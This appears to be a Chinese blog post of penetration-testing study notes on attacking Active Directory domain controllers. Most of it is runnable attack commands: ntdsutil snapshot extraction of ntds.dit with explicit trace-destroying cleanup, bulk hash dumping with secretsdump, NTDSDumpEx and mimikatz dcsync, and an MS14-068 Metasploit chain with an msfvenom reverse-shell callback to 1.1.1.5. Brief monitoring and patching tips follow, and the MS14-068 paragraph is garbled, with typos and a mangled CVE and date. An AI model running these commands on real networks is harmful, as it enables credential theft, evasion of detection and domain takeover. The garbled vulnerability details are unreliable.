第6章域控制器安全

1.使用卷影拷贝服务提取ntds.dit

方法:

  • 通过ntdsutil.exe提取ntds.dit
  • 利用 vssadmin提取 ntds.dit
  • 利用vssown.vbs脚本提取ntds.dit
  • 使用ntdsutil的iFM创建卷影拷贝
  • 使用diskshadow导出ntds.dit

通过ntdsutil.exe提取ntds.dit

在通常情况下,即使拥有管理员权限,也无法读取域控制器中的ndts.dit文件, 但是我们又非常想获得这个文件的内容,这个时候就需要使用windows本地卷影拷贝服务VSS。在活动目录中,所有的数据都保存在ntds.dit文件中,ntds.dit是一个二进制文件,包含用户名、散列值、组、GPP、OU等与活动目录相关的信息,它和SAM文件一样,被windows系统锁死。卷影拷贝服务VSS,本质上属于快照技术的一种,主要用于备份和恢复,即使文件当前处于锁死状态

 ntdsutils.exe是一个为活动目录提供管理机制的命令行工具,使用ntdsutils.exe可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区等,该工具默认安装在域控服务器上,可以在域控制器上直接操作,支持windows server 2003、2008、2012。提取过程分为3步:

第一步:创建快照

ntdsutil.exe snapshot "activate instance ntds" create q q

 产生的快照GUID为:

{850bc5ab-7620-48fa-bd1f-c23c8150a3f0}

第二步:加载快照 

快照位置:C:\$SNAP_202009222211_VOLUMEC$\

ntdsutil.exe snapshot "mount {850bc5ab-7620-48fa-bd1f-c23c8150a3f0}" q q

我们要销毁痕迹,所以要删除快照,这里也可以三步来安定自己的内心:

第一步:查看 

ntdsutil.exe snapshot "List All" q q

第二步:销毁 

ntdsutil.exe snapshot "umount {850bc5ab-7620-48fa-bd1f-c23c8150a3f0}" "delete {850bc5ab-7620-48fa-bd1f-c23c8150a3f0}" q q

 第三步:再查看(确定全部删除成功)

2.导出ntds.dit中的散列值

  • 使用impacket工具包导出散列值(Linux)
  • 使用NTDS Dumpex 导出散列值(Windows)

但是在开始之前,我们需要做一些准备工作,一个是ntds.dit活动目录文件,另一个是system.save文件, 可以通过HiveJack这个小工具轻松获得,github上可以下载。

拿到了system.save文件、ntds.dit活动目录文件,就可以通过Impacket轻松获得ntds.dit活动目录文件中封印的所有散列哈希。

impacket-secretsdump -system system.save -ntds ntds.dit LOCAL

如果在windows下,可以通过 NTDS Dumpex 进行导出散列值的操作,需要的依然是system.save文件、ntds.dit活动目录文件。

NTDSDumpEx下载

.\NTDSDumpEx.exe -d .\ntds.dit -s .\system.save

impacket安装

windows安装,进入文件夹目录输入
python3 -m pip install .        
python3 setup.py install

kali中安装:
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python3 -m pip install .  
python3 setup.py install

3.监控卷影拷贝服务的使用情况

  • 通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作。
  • 监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为。
  • 监控System Event ID 7036(卷影拷贝服务进人运行状态的标志)的可疑实例,以及创建vssvc.exe进程的事件。
  • 监控创建dkshndko.exe及相关子进程的事件。
  • 监控客户端设备中的diskshadow.exe实例创建事件。除非业务需要, 在Windows操作系统中不应该出现diskshadow.exe.如果发现,应立刻将其删除。
  • 通过日志监控新出现的逻辑驱动器映射事件。

4.利用dcsync获取域散列值

使用mimikatz转储域散列值

mimikatz有一个dcsync 功能,可以利用卷影拷贝服务直接读取ntds.dit 文件并检索域散列值。需要注意的是,必须使用域管理员权限运行mimikatz才可以读取ntds.dit.
在域内的任意一台计算机中,以域管理员权限打开命令行环境,运行mimikatz。输入如下命令,使用mimikatz导出域内的所有用户名及散列值,如图6-34所示。

lsadump::dcsync /domain:pentest.com /all /csv

也可以直接在域控制器中运行mimikatz,通过转储Isass.exe进程对散列值进行Dump操作
privilege::debug
lsadump::lsa /inject

5.Kerberos域用户提权漏洞分析与防范

微软在2014年1月18日发布了一个紧急补了,修复了Kerhers 城用户提权漏润(MS14-068 CVE201462424)所有Windwos服务器操作系统都会受该漏洞的影响,包括WindowsServer2003、Windows Server 208 Windows Sever 2008 R2、Windows Server 2012和Win2012R2。该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将城内任意用户权限提升至域管理级别。通俗地讲,如果攻击者获取了城内任何台计算机的Shell 权限,同时知道任意域用户的用户名、SID、密码,即可获得城管理员权限,进而控制域控制器,最终获得域权限。
这个漏洞产生的原因是:用户在向Kerberos 密明分发中心( KDC)申请TGT由票据授权服务产生的身份凭证)时,可以伪造自己的Kerberos票据。如果票据声明自己有域管理员权限,而在处理该票据时未验证票据的签名, 那么返给用户的 TGT就使普通域管理用户权限。该用户可以将TGT发送到KDC, KDC的TGS (票据授权服务)在验证TGT后,将服务票据(Service Ticket)发送给该用户,而该用户拥有访问任何该服务的权限,从而使攻击者可以访问域内的资源。
 

msf攻击流程

1.在Metasploit进行测试
    use auxiliary/admin/kerberos/ms14_068_kerberos_checksum 
    
	设置参数
	DOMAIN:域名。
	PASSWORD:被提权用户的密码。
	USER:被提权的用户。
	USER_SID:被提权用户的SID。

    exploit

填写所有信息后,输入“exploit”命令,会在/rootl.msf4/loot目录下生成文件20180715230259_default_172.16.86.130_windows.kerberos_839172.bin,如图6-59所示。


2.格式转换
    msf不支持导入bin文件。使用mimikatz进行格式转化
    kerberos::clist ".......bin" /export

3.msfvenom生成一个反向shell

	msfvenom -p /windows/meterpreter/reverse_tcp LHOST=1.1.1.5 LPORT=7777 -f exe > shell.exe

4.msf设置监听
	use exploit/multi/reverse_tcp
	exploit
5.
    getuid    查看权限
    load kiwi 
    kerberos_ticket_use/tmp/...kirbi    #导入票据
    background
    
6.使用高权限票据进行测试
    use exploit/windows/local/current_user_psexec 
    set payload windows/meterpreter/reverse_tcp
    set TECHNIQUE PSH
    set RHOSTS win2008.hello.com
    set lhost 1.1.1.5
    set session 1
    exploit

防范建议

  1.     开启Windows Update功能,进行自动更新。
  2.     手动下载补丁包进行修复。微软已经发布了修复该漏洞的补丁
  3.     对域内账号进行控制,禁止使用弱口令,及时、定期修改密码。
  4.     在服务器上安装反病毒软件,及时更新病毒库。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值